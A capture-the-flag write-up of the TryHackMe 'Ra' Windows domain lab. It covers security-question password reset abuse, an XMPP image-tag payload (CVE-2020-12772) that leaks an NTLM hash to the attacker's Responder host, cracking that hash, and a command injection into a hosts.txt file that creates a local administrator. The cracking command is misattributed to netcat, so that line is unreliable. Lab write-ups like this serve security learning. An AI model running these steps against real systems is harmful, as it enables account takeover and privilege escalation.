TryHackMe Ra Writeup

Summary

Ra is the windcorp.thm domain, with IIS, Active Directory, Windows Admin Center and an Openfire XMPP stack all on the same host. The password reset page at reset.asp asks a security question about a pet’s name, and the site serves an image called lilyleAndSparky.jpg, which answers it and resets lilyle to a known password. Those credentials open an SMB share holding the Spark chat client installer, and Spark is affected by CVE-2020-12772: sending an image tag in a chat message to a user who is online makes their client fetch the URL, so Responder captures a Net-NTLMv2 hash for buse, which cracks offline and gives an Evil-WinRM session. Buse is a member of Account Operators, so they can reset other users’ passwords, and a PowerShell script that runs every minute reads hosts.txt from brittanycr’s profile through Invoke-Expression. Resetting brittanycr, uploading a hosts.txt with appended commands and waiting for the next run creates a new local administrator.

• export IP=10.10.171.34

Port Scanning & Services Version

53/tcp [ Simple DNS Plus ] 80/tcp [ Microsoft IIS httpd 10.0 ] Supported Methods: OPTIONS TRACE GET HEAD POST Http-title: Windcorp

88/tcp [ Microsoft Windows Kerberos (kerberos-sec) ] 135/tcp [ Microsoft Windows RPC ] 139/tcp [ Microsoft Windows netbios-ssn ] 389/tcp [ Microsoft Windows Active Directory LDAP ] Domain: windcorp.thm0.

443/tcp [ ssl/http Microsoft HTTPAPI httpd 2.0 ] Windows Admin Center (ssl-cert)

445/tcp [ microsoft-ds? ] 464/tcp [ kpasswd5? ] 593/tcp [ Microsoft Windows RPC over HTTP 1.0 ] 636/tcp [ ldapssl? ] 2179/tcp [ vmrdp? ] 3268/tcp [ Microsoft Windows Active Directory LDAP ] Domain: windcorp.thm0 3269/tcp [ globalcatLDAPssl? ] 3389/tcp [ Microsoft Terminal Services ] [+] ssl-cert commonName=Fire.windcorp.thm [+] http-ntlm-info: Target_Name: WINDCORP DNS_Domain_Name: windcorp.thm DNS_Computer_Name: Fire.windcorp.thm Product_Version: 10.0.17763 5223/tcp [ Ignite Realtime Openfire Jabber server 3.10.0 or later ] [?] xmpp-info ssl-cert: Subject: commonName=fire.windcorp.thm

5229/tcp [ jaxflow? ] 5262/tcp [ jabber ] stream_id: 3spj53mfsy [+] xmpp version: 1.0 5263/tcp [ ssl/jabber ] commonName=fire.windcorp.thm

5269/tcp [ Wildfire XMPP Client ] 5276/tcp [ ssl/jabber ] commonName=fire.windcorp.thm

7777/tcp [ socks5 ] No authentication; connection failed

9090/tcp [ zeus-admin? ] HTTP/1.1 200 OK (GET REQUEST) ssl-cert: Subject: commonName=fire.windcorp.thm Allow: GET,HEAD,POST,OPTIONS [+] Openfire, Version: 4.5.1

9091/tcp [ ssl/xmltec-xmlmail? ] HTTP/1.1 200 OK ssl-cert: Subject: commonName=fire.windcorp.thm Allow: GET,HEAD,POST,OPTIONS

9389/tcp [ .NET Message Framing ] 49672/tcp [ Microsoft Windows RPC over HTTP 1.0 ] 49673/tcp [ Microsoft Windows RPC ] 49674/tcp [ Microsoft Windows RPC ] 49692/tcp [ Microsoft Windows RPC ] 49912/tcp [ Microsoft Windows RPC ]

Target: Webserver at port 80

• Password reset functionality fire.windcorp.thm/reset.asp

Able to reset a user’s password! There is an employee that brings her pet to the work, and a valid security question is: What is/was your favorite pet’s name? Reviewing the image’s name: windcorp.thm/img/lilyleAndSparky.jpg

Username: lilyle Pet’s name: Sparky

Your password has been reset to: ChangeMe#1234 Remember to change it after logging in!

Target: SMB

$ crackmapexec smb windcorp.thm -u lilyle -p ChangeMe#1234 –shares SMB windcorp.thm 445 FIRE [+] windcorp.thm\lilyle:ChangeMe#1234 Traceback (most recent call last):

$ smbmap -H windcorp.thm -u lilyle -p ChangeMe#1234 -R | tee scans/smbmap Saved to scans/smbmap

$ smbclient -U lilyle //windcorp.thm/Shared

get “Flag 1.txt” get spark_2_8_3.deb

sudo dpkg –ignore-depends=oracle-java8-jre,openjdk-8-jre -i spark_2_8_3.deb spark Same credentials (lilyle:ChangeMe#1234)

Initial shell

CVE-2020-12772

1. Find an online user (http server's main page, buse)
2. Start a chat with the previously found user
3. Start responder: sudo responder -I tun0
4. Send this payload: <img src="http://10.6.95.77/test.jpg">
5. Receive NTLM hash and crack it using netcat (w/ gpu)
> netcat.exe -m 5600 -d 1 hash.txt wordlist.txt (buse:uzunLM+3131)
6. Connect as buse in the victim machine using evil-winrm

evil-winrm -iIP -u buse -p uzunLM+3131

Privilege escalation

• There’s a powershell script running every minute at C:\scripts The script uses Invoke-Expression when reading a file named ‘hosts.txt’ on C:\Users\brittanycr, and that leads to a potential vector to execute code as administrator.

• User ‘buse’ is member of Account Operators group, so he can change users passwords. (whoami /groups) net user brittanycr NewPassword1234 /domain

$ smbclient //windcorp.thm/Users -U brittanycr –password NewPassword1234

cd brittanycr get hosts.txt

• Add ;net user Deep SevIsCool1234! /add;net localgroup Administrators Deep /add to the hosts.txt file

put hosts.txt

[Wait for about 2 minutes] $ evil-winrm -i windcorp.thm -u Deep -p SevIsCool1234!